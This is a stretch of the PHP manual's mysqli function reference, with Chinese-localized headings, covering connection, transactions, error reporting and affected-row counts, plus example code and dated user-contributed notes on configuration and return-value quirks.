Mysqli is slower them mysql extension if you not use pre compiled statments!
Yair Lapin
10-Nov-2004 11:28
I successed to install php support for a mysql 4.1.7 database after several attempts because the instructions are not clear.
I have a server with linux SuSe 9 enterprise with apache 1.3.31. I installed mysql from rpm files, i installed php 4.3.9 as dynamic library. this version database needs its own client library else the mysql functions in php will not work.
configuration must be as following:

./configure --with-msqli=/usr/bin/mysql_config --with-mysql=/usr  --with-apxs=/usr/local/apache/bin/apxs

 Must be installed in your machine the correct mysql librery:

MySQL-devel-4.1.7-0
MySQL-shared-4.1.7-0
nathansquires at pacbell dot net
14-Sep-2004 01:44
If you want to build php with both the Mysql and mysqli extensions, make sure your mysql distribution comes with shared libraries or build mysql yourself with shared libraries. With only static mysql libraries the compile process will fail.
severin dot kacianka at aon dot at
13-Aug-2004 06:55
I tryed Marco Kaiser's way of getting both mysql_* and mysqli_*, but it failed for me. However I could get it working this way:
First of all I installed the MySQL 4.1.3 binary disribution acourding to the manual. Then I simply passed these ./configure arguments:

--with-mysql=/path/to/mysql4.1.3
--with-mysqli=/path/to/mysql4.1.3/bin/mysql_config

This enabled both, the mysql_* and mysqli_* functions.

Severin Kacianka
ajp at aripollak dot com
20-Jul-2004 07:50
From README.PHP4-TO-PHP5-THIN-CHANGES:

Be careful when porting from ext/mysql to ext/mysqli. The following
   functions return NULL when no more data is available in the result set
   (ext/mysql's functions return FALSE).

   - mysqli_fetch_row()
   - mysqli_fetch_array()
   - mysqli_fetch_assoc()
philip
18-Jun-2004 06:51
A couple tutorials on the subject of mysqli:
* http://www.zend.com/php5/articles/php5-mysqli.php
* http://www.zend.com/php5/articles/php5-mysqli2.php
phoeniks[at]nm[dot]ru
08-Apr-2004 06:21
Here is a little sample to do fast hierarchical queries using new prepared statements

<?php
// Root - lowest start element
// Top  - most top element
// stack - array for storing info

function tree_rise($root, &$stack, $top = 0) {
  $mysqli = mysqli_connect('localhost', 'root');
  $top  = (int)$top;
  $stmt = mysqli_prepare($mysqli, "SELECT id, pid, title FROM news.strg WHERE id = ? LIMIT 1");
  mysqli_stmt_bind_param($stmt, "i", $root);
  mysqli_stmt_execute($stmt);
  mysqli_stmt_store_result($stmt);
  mysqli_bind_result($stmt, $id, $root, $title);

  while (mysqli_fetch($stmt)) {
   $stack[$id] = $title;
   if ($root != $top && !is_null($root)) {
     mysqli_stmt_execute($stmt);
     mysqli_stmt_store_result($stmt);
   }
  }
  return count($stack);
}
?>
add a note add a note

后退 | 起点 | 前进
PDO_MYSQL DSN | 上一级 | mysqli_affected_rows


mysqli_affected_rows

(PHP 5)

mysqli_affected_rows

(no version information, might be only in CVS)

mysqli->affected_rows -- Gets the number of affected rows in a previous MySQL operation

Description

Procedural style:

int mysqli_affected_rows ( mysqli link )

Object oriented style (property):

class mysqli {

int affected_rows

}

mysqli_affected_rows() returns the number of rows affected by the last INSERT, UPDATE, or DELETE query associated with the provided link parameter. If the last query was invalid, this function will return -1.

注: For SELECT statements mysqli_affected_rows() works like mysqli_num_rows().

The mysqli_affected_rows() function only works with queries which modify a table. In order to return the number of rows from a SELECT query, use the mysqli_num_rows() function instead.

返回值

An integer greater than zero indicates the number of rows affected or retrieved. Zero indicates that no records where updated for an UPDATE statement, no rows matched the WHERE clause in the query or that no query has yet been executed. -1 indicates that the query returned an error.

注: If the number of affected rows is greater than maximal int value, the number of affected rows will be returned as a string.

参见

mysqli_num_rows() 和 mysqli_info().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Insert rows */
$mysqli->query("CREATE TABLE Language SELECT * from CountryLanguage");
printf("Affected rows (INSERT): %d\n", $mysqli->affected_rows);

$mysqli->query("ALTER TABLE Language ADD Status int default 0");

/* update rows */
$mysqli->query("UPDATE Language SET Status=1 WHERE Percentage > 50");
printf("Affected rows (UPDATE): %d\n", $mysqli->affected_rows);

/* delete rows */
$mysqli->query("DELETE FROM Language WHERE Percentage < 50");
printf("Affected rows (DELETE): %d\n", $mysqli->affected_rows);

/* select all rows */
$result = $mysqli->query("SELECT CountryCode FROM Language");
printf("Affected rows (SELECT): %d\n", $mysqli->affected_rows);

$result->close();

/* Delete table Language */
$mysqli->query("DROP TABLE Language");

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

if (!$link) {
    printf("Can't connect to localhost. Error: %s\n", mysqli_connect_error());
    exit();
}

/* Insert rows */
mysqli_query($link, "CREATE TABLE Language SELECT * from CountryLanguage");
printf("Affected rows (INSERT): %d\n", mysqli_affected_rows($link));

mysqli_query($link, "ALTER TABLE Language ADD Status int default 0");

/* update rows */
mysqli_query($link, "UPDATE Language SET Status=1 WHERE Percentage > 50");
printf("Affected rows (UPDATE): %d\n", mysqli_affected_rows($link));

/* delete rows */
mysqli_query($link, "DELETE FROM Language WHERE Percentage < 50");
printf("Affected rows (DELETE): %d\n", mysqli_affected_rows($link));

/* select all rows */
$result = mysqli_query($link, "SELECT CountryCode FROM Language");
printf("Affected rows (SELECT): %d\n", mysqli_affected_rows($link));

mysqli_free_result($result);

/* Delete table Language */
mysqli_query($link, "DROP TABLE Language");

/* close connection */
mysqli_close($link);
?>

上例将输出：

Affected rows (INSERT): 984
Affected rows (UPDATE): 168
Affected rows (DELETE): 815
Affected rows (SELECT): 169

add a note add a note User Contributed Notes
sean at lookin3d dot com
13-Apr-2006 04:48
mysqli_affected_rows will return 0 if you run a UPDATE command with the same variables that already exist

Here is a example

db row from 'test' table
----------
id = 1
name = test

mysqli_query($db,"UPDATE `test` SET `name`='test' WHERE `id`='1'");

$i=mysqli_affected_rows($db);

$i Will Be Zero Or False
add a note add a note

后退 | 起点 | 前进
MySQL Improved Extension | 上一级 | mysqli_autocommit


mysqli_autocommit

(PHP 5)

mysqli_autocommit

(no version information, might be only in CVS)

mysqli->autocommit -- Turns on or off auto-commiting database modifications

Description

Procedural style:

bool mysqli_autocommit ( mysqli link, bool mode )

Object oriented style (method)

class mysqli {

bool autocommit ( bool mode )

}

mysqli_autocommit() is used to turn on or off auto-commit mode on queries for the database connection represented by the link object.

注: mysqli_autocommit() doesn't work with non transactional table types (like MyISAM or ISAM).

To determine the current state of autocommit use the SQL command 'SELECT @@autocommit'.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_commit() 和 mysqli_rollback().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* turn autocommit on */
$mysqli->autocommit(TRUE);

if ($result = $mysqli->query("SELECT @@autocommit")) {
    $row = $result->fetch_row();
    printf("Autocommit is %s\n", $row[0]);
    $result->free();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

if (!$link) {
    printf("Can't connect to localhost. Error: %s\n", mysqli_connect_error());
    exit();
}

/* turn autocommit on */
mysqli_autocommit($link, TRUE);

if ($result = mysqli_query($link, "SELECT @@autocommit")) {
    $row = mysqli_fetch_row($result);
    printf("Autocommit is %s\n", $row[0]);
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Autocommit is 1

add a note add a note User Contributed Notes
will at phpfever dot com
27-Apr-2006 04:22
If you are using the mysql command line tool, here are some helpful hints for the autocommit feature:

1.  To view the current autocommit setting, you can use this query: select @@autocommit;  It will return the current setting as 1 or 0 (on or off)

2. You can manage the default autocommit feature in you my.cnf or my.ini by adding the following line: init_connect='set autocommit=0'.  I'm pretty sure this isn't in the documentation, but it does work.

Here are the current engines, as of MySQL 5.1dev that support transactions:

InnoDB
BerkeleyDB
Falcon

Falcon is very new, so beware using it on production systems.
add a note add a note

后退 | 起点 | 前进
mysqli_affected_rows | 上一级 | mysqli_bind_param


mysqli_bind_param

(PHP 5)

mysqli_bind_param -- Alias for mysqli_stmt_bind_param()

Description

This function is an alias of mysqli_stmt_bind_param(). For a detailled descripton see description of mysqli_stmt_bind_param().

注: mysqli_bind_param() is deprecated and will be removed.

参见

mysqli_stmt_bind_param().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_autocommit | 上一级 | mysqli_bind_result


mysqli_bind_result

(PHP 5)

mysqli_bind_result -- Alias for mysqli_stmt_bind_result()

Description

This function is an alias of mysqli_stmt_bind_result(). For a detailled descripton see description of mysqli_stmt_bind_result().

注: mysqli_bind_result() is deprecated and will be removed.

参见

mysqli_stmt_bind_result().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_bind_param | 上一级 | mysqli_change_user


mysqli_change_user

(PHP 5)

mysqli_change_user

(no version information, might be only in CVS)

mysqli->change_user -- Changes the user of the specified database connection

Description

Procedural style:

bool mysqli_change_user ( mysqli link, string user, string password, string database )

Object oriented style (method):

class mysqli {

bool change_user ( string user, string password, string database )

}

mysqli_change_user() is used to change the user of the specified database connection as given by the link parameter and to set the current database to that specified by the database parameter.

If desired, the NULL value may be passed in place of the database parameter resulting in only changing the user and not selecting a database. To select a database in this case use the mysqli_select_db() function.

In order to successfully change users a valid username and password parameters must be provided and that user must have sufficient permissions to access the desired database. If for any reason authorization fails, the current user authentication will remain.

注: Using this command will always cause the current database connection to behave as if was a completely new database connection, regardless of if the operation was completed successfully. This reset includes performing a rollback on any active transactions, closing all temporary tables, and unlocking all locked tables.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_connect() 和 mysqli_select_db().

范例

例子 1. Object oriented style

<?php

/* connect database test */
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Set Variable a */
$mysqli->query("SET @a:=1");

/* reset all and select a new database */
$mysqli->change_user("my_user", "my_password", "world");

if ($result = $mysqli->query("SELECT DATABASE()")) {
    $row = $result->fetch_row();
    printf("Default database: %s\n", $row[0]);
    $result->close();
}

if ($result = $mysqli->query("SELECT @a")) {
    $row = $result->fetch_row();
    if ($row[0] === NULL) {
        printf("Value of variable a is NULL\n");
    }
    $result->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
/* connect database test */
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Set Variable a */
mysqli_query($link, "SET @a:=1");

/* reset all and select a new database */
mysqli_change_user($link, "my_user", "my_password", "world");

if ($result = mysqli_query($link, "SELECT DATABASE()")) {
    $row = mysqli_fetch_row($result);
    printf("Default database: %s\n", $row[0]);
    mysqli_free_result($result);
}

if ($result = mysqli_query($link, "SELECT @a")) {
    $row = mysqli_fetch_row($result);
    if ($row[0] === NULL) {
        printf("Value of variable a is NULL\n");
    }
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Default database: world
Value of variable a is NULL

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_bind_result | 上一级 | mysqli_character_set_name


mysqli_character_set_name

(PHP 5)

mysqli_character_set_name

(no version information, might be only in CVS)

mysqli->character_set_name -- Returns the default character set for the database connection

Description

Procedural style:

string mysqli_character_set_name ( mysqli link )

Object oriented style (method):

class mysqli {

string character_set_name ( void )

}

Returns the current character set for the database connection specified by the link parameter.

返回值

The default character set for the current connection

参见

mysqli_client_encoding() 和 mysqli_real_escape_string().

范例

例子 1. Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Print current character set */
$charset = $mysqli->character_set_name();
printf ("Current character set is %s\n", $charset);

$mysqli->close();
?>

例子 2. Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Print current character set */
$charset = mysqli_character_set_name($link);
printf ("Current character set is %s\n",$charset);

/* close connection */
mysqli_close($link);
?>

上例将输出：

Current character set is latin1_swedish_ci

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_change_user | 上一级 | mysqli_client_encoding


mysqli_client_encoding

(PHP 5)

mysqli_client_encoding -- Alias of mysqli_character_set_name()

Description

This function is an alias of mysqli_character_set_name(). For a detailled descripton see description of mysqli_character_set_name().

参见

mysqli_real_escape_string().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_character_set_name | 上一级 | mysqli_close


mysqli_close

(PHP 5)

mysqli_close

(no version information, might be only in CVS)

mysqli->close -- Closes a previously opened database connection

Description

Procedural style:

bool mysqli_close ( mysqli link )

Object oriented style (method):

class mysqli {

bool close ( void )

}

The mysqli_close() function closes a previously opened database connection specified by the link parameter.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_connect(),
mysqli_init() 和
mysqli_real_connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_client_encoding | 上一级 | mysqli_commit


mysqli_commit

(PHP 5)

mysqli_commit

(no version information, might be only in CVS)

mysqli->commit -- Commits the current transaction

Description

Procedural style:

bool mysqli_commit ( mysqli link )

Object oriented style (method)

class mysqli {

bool commit ( void )

}

Commits the current transaction for the database connection specified by the link parameter.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_autocommit() 和 mysqli_rollback().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE Language LIKE CountryLanguage Type=InnoDB");

/* set autocommit to off */
$mysqli->autocommit(FALSE);

/* Insert some values */
$mysqli->query("INSERT INTO Language VALUES ('DEU', 'Bavarian', 'F', 11.2)");
$mysqli->query("INSERT INTO Language VALUES ('DEU', 'Swabian', 'F', 9.4)");

/* commit transaction */
$mysqli->commit();

/* drop table */
$mysqli->query("DROP TABLE Language");

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* set autocommit to off */
mysqli_autocommit($link, FALSE);

mysqli_query($link, "CREATE TABLE Language LIKE CountryLanguage Type=InnoDB");

/* Insert some values */
mysqli_query($link, "INSERT INTO Language VALUES ('DEU', 'Bavarian', 'F', 11.2)");
mysqli_query($link, "INSERT INTO Language VALUES ('DEU', 'Swabian', 'F', 9.4)");

/* commit transaction */
mysqli_commit($link);

/* close connection */
mysqli_close($link);
?>

add a note add a note User Contributed Notes
mbedwards FROM gmail PERIOD com
04-Mar-2005 05:05
In PHP versions < 5.1cvs (as of date of this posting) this function actually returns FALSE on success and TRUE on error. This is because it was coded as a straight pass-thru wrapper to the MySQL api from MySQL a.b. and the mysql_commit() function in that api returns 0 on success and non-zero on failure.

Keep this in mind if you are checking the return value of this function.
add a note add a note

后退 | 起点 | 前进
mysqli_close | 上一级 | mysqli_connect_errno


mysqli_connect_errno

(PHP 5)

mysqli_connect_errno -- Returns the error code from last connect call

Description

int mysqli_connect_errno ( void )

The mysqli_connect_errno() function will return the last error code number for last call to mysqli_connect(). If no errors have occured, this function will return zero.

注: Client error message numbers are listed in the MySQL errmsg.h header file, server error message numbers are listed in mysqld_error.h. In the MySQL source distribution you can find a complete list of error messages and error numbers in the file Docs/mysqld_error.txt.

返回值

An error code value for the last call to mysqli_connect(), if it failed. zero means no error occurred.

参见

mysqli_connect(),
mysqli_connect_error(),
mysqli_errno(),
mysqli_error() 和
mysqli_sqlstate().

范例

例子 1. mysqli_connect_errno sample

<?php

$link = @mysqli_connect("localhost", "nonexisting_user", "");

if (!$link) {
    printf("Can't connect to localhost. Errorcode: %d\n", mysqli_connect_errno());
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_commit | 上一级 | mysqli_connect_error


mysqli_connect_error

(PHP 5)

mysqli_connect_error -- Returns a string description of the last connect error

Description

string mysqli_connect_error ( void )

The mysqli_connect_error() function is identical to the corresponding mysqli_connect_errno() function in every way, except instead of returning an integer error code the mysqli_connect_error() function will return a string representation of the last error to occur for the last mysqli_connect() call. If no error has occured, this function will return an empty string.

返回值

A string that describes the error. An empty string if no error occurred.

参见

mysqli_connect(),
mysqli_connect_errno(),
mysqli_errno(),
mysqli_error() 和
mysqli_sqlstate().

范例

例子 1. mysqli_connect_error sample

<?php

$link = @mysqli_connect("localhost", "nonexisting_user", "");

if (!$link) {
    printf("Can't connect to localhost. Error: %s\n", mysqli_connect_error());
}
?>

add a note add a note User Contributed Notes
bero at arklinux dot org dot SPAM dot TO dot microsoft dot com
10-May-2004 05:04
The reason for mysqli_connect_error() not being available as $link->connect_error [looks like an inconsistency superficially] is that at the time mysqli_connect_error() matters (when something goes wrong), $link is null, and therefore not a mysqli object ---> you'd be accessing NULL->connect_error, which can't make any sense.
add a note add a note

后退 | 起点 | 前进
mysqli_connect_errno | 上一级 | mysqli_connect


mysqli_connect

(PHP 5)

mysqli_connect

(no version information, might be only in CVS)

mysqli() -- Open a new connection to the MySQL server

Description

Procedural style

mysqli mysqli_connect ( [string host [, string username [, string passwd [, string dbname [, int port [, string socket]]]]]] )

Object oriented style (constructor):

class mysqli {

__construct ( [string host [, string username [, string passwd [, string dbname [, int port [, string socket]]]]]] )

}

The mysqli_connect() function attempts to open a connection to the MySQL Server running on host which can be either a host name or an IP address. Passing the NULL value or the string "localhost" to this parameter, the local host is assumed. When possible, pipes will be used instead of the TCP/IP protocol. If successful, the mysqli_connect() will return an object representing the connection to the database, or FALSE on failure.

The username and password parameters specify the username and password under which to connect to the MySQL server. If the password is not provided (the NULL value is passed), the MySQL server will attempt to authenticate the user against those user records which have no password only. This allows one username to be used with different permissions (depending on if a password as provided or not).

The dbname parameter if provided will specify the default database to be used when performing queries.

The port and socket parameters are used in conjunction with the host parameter to further control how to connect to the database server. The port parameter specifies the port number to attempt to connect to the MySQL server on, while the socket parameter specifies the socket or named pipe that should be used.

注: Specifying the socket parameter will not explicitly determine the type of connection to be used when connecting to the MySQL server. How the connection is made to the MySQL database is determined by the host parameter.

返回值

Returns a object which represents the connection to a MySQL Server or FALSE if the connection failed.

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

printf("Host information: %s\n", $mysqli->host_info);

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

printf("Host information: %s\n", mysqli_get_host_info($link));

/* close connection */
mysqli_close($link);
?>

上例将输出：

Host information: Localhost via UNIX socket

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_connect_error | 上一级 | mysqli_data_seek


mysqli_data_seek

(PHP 5)

mysqli_data_seek

(no version information, might be only in CVS)

result->data_seek -- Adjusts the result pointer to an arbitary row in the result

Description

Procedural style:

bool mysqli_data_seek ( mysqli_result result, int offset )

Object oriented style (method):

class mysqli_result {

bool data_seek ( int offset )

}

The mysqli_data_seek() function seeks to an arbitrary result pointer specified by the offset in the result set represented by result. The offset parameter must be between zero and the total number of rows minus one (0..mysqli_num_rows() - 1).

注: This function can only be used with buffered results attained from the use of the mysqli_store_result() or mysqli_query() functions.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_store_result(),
mysqli_fetch_row(),
mysqli_fetch_array(),
mysqli_fetch_assoc(),
mysqli_fetch_object(),
mysqli_query() 和
mysqli_num_rows().

范例

例子 1. Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
if ($result = $mysqli->query( $query)) {

    /* seek to row no. 400 */
    $result->data_seek(399);

    /* fetch row */
    $row = $result->fetch_row();

    printf ("City: %s  Countrycode: %s\n", $row[0], $row[1]);

    /* free result set*/
    $result->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";

if ($result = mysqli_query($link, $query)) {

    /* seek to row no. 400 */
    mysqli_data_seek($result, 399);

    /* fetch row */
    $row = mysqli_fetch_row($result);

    printf ("City: %s  Countrycode: %s\n", $row[0], $row[1]);

    /* free result set*/
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

City: Benin City  Countrycode: NGA

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_connect | 上一级 | mysqli_debug


mysqli_debug

(PHP 5)

mysqli_debug -- Performs debugging operations

Description

bool mysqli_debug ( string debug )

The mysqli_debug() function is used to perform debugging operations using the Fred Fish debugging library. The debug parameter is a string representing the debugging operation to perform.

注: To use the mysqli_debug() function you must complile the MySQL client library to support debugging.

返回值

mysqli_debug() doesn't return any value.

参见

mysqli_dump_debug_info() 和 mysqli_report().

范例

例子 1. Generating a Trace File

<?php

/* Create a trace file in '/tmp/client.trace' on the local (client) machine: */
mysqli_debug("d:t:0,/tmp/client.trace");

?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_data_seek | 上一级 | mysqli_disable_reads_from_master


mysqli_disable_reads_from_master

(PHP 5)

mysqli_disable_reads_from_master

(no version information, might be only in CVS)

mysqli->disable_reads_from_master -- Disable reads from master

Description

Procedural style:

bool mysqli_disable_reads_from_master ( mysqli link )

Object oriented style (method):

class mysqli {

void disable_reads_from_master ( void )

}

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_debug | 上一级 | mysqli_disable_rpl_parse


mysqli_disable_rpl_parse

(PHP 5)

mysqli_disable_rpl_parse -- Disable RPL parse

Description

bool mysqli_disable_rpl_parse ( mysqli link )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_disable_reads_from_master | 上一级 | mysqli_dump_debug_info


mysqli_dump_debug_info

(PHP 5)

mysqli_dump_debug_info

(no version information, might be only in CVS)

mysqli->dump_debug_info -- Dump debugging information into the log

Description

bool mysqli_dump_debug_info ( mysqli link )

This function is designed to be executed by an user with the SUPER privilege and is used to dump debugging information into the log for the MySQL Server relating to the connection specified by the link parameter.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_debug().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_disable_rpl_parse | 上一级 | mysqli_embedded_connect


mysqli_embedded_connect

(PHP 5 <= 5.0.4)

mysqli_embedded_connect -- Open a connection to an embedded mysql server

Description

mysqli mysqli_embedded_connect ( [string dbname] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_dump_debug_info | 上一级 | mysqli_enable_reads_from_master


mysqli_enable_reads_from_master

(PHP 5)

mysqli_enable_reads_from_master -- Enable reads from master

Description

bool mysqli_enable_reads_from_master ( mysqli link )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_embedded_connect | 上一级 | mysqli_enable_rpl_parse


mysqli_enable_rpl_parse

(PHP 5)

mysqli_enable_rpl_parse -- Enable RPL parse

Description

bool mysqli_enable_rpl_parse ( mysqli link )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_enable_reads_from_master | 上一级 | mysqli_errno


mysqli_errno

(PHP 5)

mysqli_errno

(no version information, might be only in CVS)

mysqli->errno -- Returns the error code for the most recent function call

Description

Procedural style:

int mysqli_errno ( mysqli link )

Object oriented style (property):

class mysqli {

int errno

}

The mysqli_errno() function will return the last error code for the most recent MySQLi function call that can succeed or fail with respect to the database link defined by the link parameter. If no errors have occured, this function will return zero.

注: Client error message numbers are listed in the MySQL errmsg.h header file, server error message numbers are listed in mysqld_error.h. In the MySQL source distribution you can find a complete list of error messages and error numbers in the file Docs/mysqld_error.txt.

返回值

An error code value for the last call, if it failed. zero means no error occurred.

参见

mysqli_connect_errno(),
mysqli_connect_error(),
mysqli_error() 和
mysqli_sqlstate().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!$mysqli->query("SET a=1")) {
    printf("Errorcode: %d\n", $mysqli->errno);
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!mysqli_query($link, "SET a=1")) {
    printf("Errorcode: %d\n", mysqli_errno($link));
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Errorcode: 1193

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_enable_rpl_parse | 上一级 | mysqli_error


mysqli_error

(PHP 5)

mysqli_error -- Returns a string description of the last error

Description

Procedural style:

string mysqli_error ( mysqli link )

Object oriented style (property)

class mysqli {

string error

}

The mysqli_error() function is identical to the corresponding mysqli_errno() function in every way, except instead of returning an integer error code the mysqli_error() function will return a string representation of the last error to occur for the database connection represented by the link parameter. If no error has occured, this function will return an empty string.

返回值

A string that describes the error. An empty string if no error occurred.

参见

mysqli_connect_errno(),
mysqli_connect_error(),
mysqli_errno() 和
mysqli_sqlstate().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!$mysqli->query("SET a=1")) {
    printf("Errormessage: %s\n", $mysqli->error);
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!mysqli_query($link, "SET a=1")) {
    printf("Errormessage: %s\n", mysqli_error($link));
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Errormessage: Unknown system variable 'a'

add a note add a note User Contributed Notes
se (at) brainbits (dot) net
20-Apr-2006 08:22
The decription "mysqli_error -- Returns a string description of the LAST error" is not exactly that what you get from mysqli_error. You get the error description from the last mysqli-function, not from the last mysql-error.

If you have the following situation

if (!$mysqli->query("SET a=1")) {
   $mysqli->query("ROLLBACK;")
   printf("Errormessage: %s\n", $mysqli->error);
}

you don't get an error-message, if the ROLLBACK-Query didn't failed, too. In order to get the right error-message you have to write:

if (!$mysqli->query("SET a=1")) {
   printf("Errormessage: %s\n", $mysqli->error);
   $mysqli->query("ROLLBACK;")
}
information at saunderswebsolutions dot com
24-Jan-2006 06:37
The mysqli_sql_exception class is not available to PHP 5.05

I used this code to catch errors
<?php
$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if (!$res) {
   printf("Errormessage: %s\n", $mysqli->error);
}

?>
The problem with this is that valid values for $res are: a mysqli_result object , true or false
This doesn't tell us that there has been an error with the sql used.
If you pass an update statement, false is a valid result if the update fails.

So, a better way is:
<?php
$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if (!$mysqli->error) {
   printf("Errormessage: %s\n", $mysqli->error);
}

?>

This would output something like:
Unexpected PHP error [mysqli::query() [<a href='function.query'>function.query</a>]: (42S22/1054): Unknown column 'XXname' in 'field list'] severity [E_WARNING] in [G:\database.php] line [249]

Very frustrating as I wanted to also catch the sql error and print out the stack trace.

A better way is:

<?php
mysqli_report(MYSQLI_REPORT_OFF); //Turn off irritating default messages

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if ($mysqli->error) {
   try {
       throw new Exception("MySQL error $mysqli->error <br> Query:<br> $query", $msqli->errno);
   } catch(Exception $e ) {
       echo "Error No: ".$e->getCode(). " - ". $e->getMessage() . "<br >";
       echo nl2br($e->getTraceAsString());
   }
}

//Do stuff with the result
?>
Prints out something like:
Error No: 1054
Unknown column 'XXname' in 'field list'
Query:
SELECT XXname FROM customer_table

#0 G:\\database.php(251): database->dbError('Unknown column ...', 1054, 'getQuery()', 'SELECT XXname F...')
#1 G:\data\WorkSites\1framework5\tests\dbtest.php(29): database->getString('SELECT XXname F...')
#2 c:\PHP\includes\simpletest\runner.php(58): testOfDB->testGetVal()
#3 c:\PHP\includes\simpletest\runner.php(96): SimpleInvoker->invoke('testGetVal')
